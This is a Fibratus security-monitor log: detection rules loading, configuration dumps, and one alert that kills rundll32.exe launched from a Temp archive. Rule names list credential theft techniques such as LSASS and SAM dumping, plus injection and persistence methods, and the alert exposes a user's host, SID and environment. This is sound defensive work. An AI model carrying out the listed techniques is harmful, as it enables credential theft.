level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:38:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:38:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:38:29+01:00 level=info msg=bootstrapping with pid 20416. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:38:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-vamap=>true enable-dns=>false enable-net=>true enable-handle=>false enable-image=>true enable-mem=>false min-buffers=>16 buffer-size=>512 flush-interval=>1s enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-age=>0 log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false timeout=>5s enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ index-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false trace-log=>false timeout=>5s template-name=>fibratus healthcheck-interval=>10s healthcheck=>true flush-period=>1s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ exchange-type=>topic vhost=>/ delivery-mode=>transient durable=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 passive=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true excluded-files=>[] skip-allocs=>false skip-mmaps=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:38:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:38:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:38:48+01:00 level=info msg=sending alert: [Process execution from compressed file via Explorer]. Text: Suspicious process C:\Users\nedo\AppData\Local\Temp\7c9670e6-d96b-40a9-b51e-eaf070fefc46_rundll32 (2).tar.rundll32 (2).tar\rundll32.exe executed from compressed file on behalf of Windows Explorer + Event(s): + Seq: 4062490 + Pid: 4496 + Tid: 13520 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:38:46.7787455 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\7c9670e6-d96b-40a9-b51e-eaf070fefc46_rundll32 (2).tar.rundll32 (2).tar\rundll32.exe" , directory_table_base➜ 341f11000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\7c9670e6-d96b-40a9-b51e-eaf070fefc46_rundll32 (2).tar.rundll32 (2).tar\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506f85e7080, name➜ rundll32.exe, pid➜ 13772, ppid➜ 4496, real_ppid➜ 4496, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:38:46.7787455 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762972865291450332, rule.name: Process execution from compressed file via Explorer, subtechnique.id: T1204.002, subtechnique.name: Malicious File, tactic.name: Execution, technique.id: T1204, technique.name: User Execution, tactic.id: TA0002, technique.ref: https://attack.mitre.org/techniques/T1204/, subtechnique.ref: https://attack.mitre.org/techniques/T1204/002/, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 4496 + Ppid: 7852 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T19:38:48+01:00 level=info msg=executing kill action: pids=[13772] rule=Process execution from compressed file via Explorer source=rules/engine.go:294 +time=2025-11-12T19:39:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:39:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:39:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:51:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_via_reflected_process.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:51:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:51:18+01:00 level=info msg=bootstrapping with pid 8584. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:51:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-thread=>true enable-fileio=>true enable-mem=>false min-buffers=>16 enable-handle=>false enable-registry=>true stack-enrichment=>true enable-vamap=>true enable-audit-api=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true max-buffers=>36 enable-image=>true flush-interval=>1s enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 level=>info max-size=>100 formatter=>text] + output ......................... [ elasticsearch=>[ template-name=>fibratus sniff=>false trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s flush-period=>1s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false enabled=>false vhost=>/ passive=>false durable=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus delivery-mode=>transient] http=>[ enable-gzip=>false method=>POST serializer=>json timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true scan-timeout=>10s skip-mmaps=>false 